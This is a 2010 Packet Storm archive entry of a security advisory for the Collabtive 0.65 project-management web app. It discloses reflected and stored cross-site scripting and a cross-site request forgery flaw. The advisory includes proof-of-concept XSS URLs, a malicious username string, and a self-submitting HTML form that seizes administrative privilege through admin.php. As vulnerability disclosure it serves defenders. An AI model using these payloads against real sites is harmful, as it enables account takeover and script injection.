Collabtive 0.65 Cross Site Request Forgery / Cross Site Scripting

2010-10-13T00:00:00
ID PACKETSTORM:94668
Type packetstorm
Reporter Anatolia Security
Modified 2010-10-13T00:00:00

Description

                                        
                                            `ANATOLIA SECURITY ADVISORY  
------------------------------------  
  
### ADVISORY INFO ###  
+ Title: Collabtive Multiple Vulnerabilities  
+ Advisory URL: http://www.anatoliasecurity.com/adv/as-adv-2010-003.txt  
+ Advisory ID: 2010-003  
+ Version: 0.65  
+ Date: 12/10/2010  
+ Impact: Gaining Administrative Privileges - Execute Malicious  
Javascript Codes  
+ CWE-ID: 352 (Cross-site Request Forgery) - 79 (Cross-site Scripting)  
+ Credit: Anatolia Security  
  
  
  
### VULNERABLE PRODUCT ###  
+ Description: "Collabtive provides a web based platform to bring the  
project  
management process and documentation online. Collabtive is an open  
source solution  
with features and functionality similar to proprietary software such as  
BaseCamp."  
+ Homepage: http://www.collabtive.com  
  
  
  
### VULNERABILITY DETAILS ###  
  
I. Non-persistent Cross-site Scripting  
--------------------------------------  
+ Description: Application insert HTTP "y" parameter in "manageajax.php"  
and HTTP "pic"  
parameter in "thumb.php" into html output and fails while sanitize user  
supplied these  
inputs. Attackers can execute malicious javascript codes or hijacking  
PHPSESSID for  
privilege escalation.  
  
+ Exploit/POC:  
http://target/manageajax.php?action=newcal&y=<script>alert(/XSS/)</script>  
http://target/thumb.php?pic=<script>alert(/XSS/)</script>  
  
  
II. Cross-site Request Forgery  
------------------------------  
+ Description: Collabtive affects from Cross-site Request Forgery.  
Technically, attacker  
can create a specially crafted page and force collabtive administrators  
to visit it and  
can gain administrative privilege. For prevention from CSRF  
vulnerabilities, application  
needs anti-csrf token, captcha and asking old password for critical actions.  
  
+ Exploit/POC:  
http://www.anatoliasecurity.com/exploits/collabtive-csrf-xploit.txt  
  
<!--  
  
-*-*- ANATOLIA SECURITY (c) 2010 -*-*-  
  
$ Title: Proof of Concept Code for Collabtive  
$ ADV-ID: 2010-003  
$ ADV-URL: http://www.anatoliasecurity.com/adv/as-adv-2010-003.txt  
$ Technical Details: http://www.anatoliasecurity.com  
  
* PoC created by Eliteman  
~ mail: eliteman [~AT~] anatoliasecurity [~DOT~] com  
~ web: elite.anatoliasecurity.com  
  
-->  
<html>  
<head>  
<title>Collabtive CSRF P0C</title>  
</head>  
<body>  
<form method="post" action="http://collabtive/admin.php?action=edituser&id=2" enctype="multipart/form-data" name="csrfXploit">  
<input type="hidden" value="hacker" name="name" />  
<input type="hidden" value="hacker@hacker" name="email" />  
<input type="hidden" value="m" name="gender" />  
<input type="hidden" value="en" name="locale" />  
<input type="hidden" value="" name="admin" />  
<input type="hidden" value="1" name="role">  
</form>  
<script type="text/javascript">  
document.csrfXploit.submit();  
</script>  
</body>  
</html>  
  
  
III. Stored Cross-site Scripting  
--------------------------------  
+ Description: Collabtive has Stored Cross-site Scripting vulnerability.  
Every user can  
change their usernames and application allows HTML codes and stores in  
database.  
  
+ Exploit/POC: Change username to "user<script>alert(/AS/)</script>".  
  
`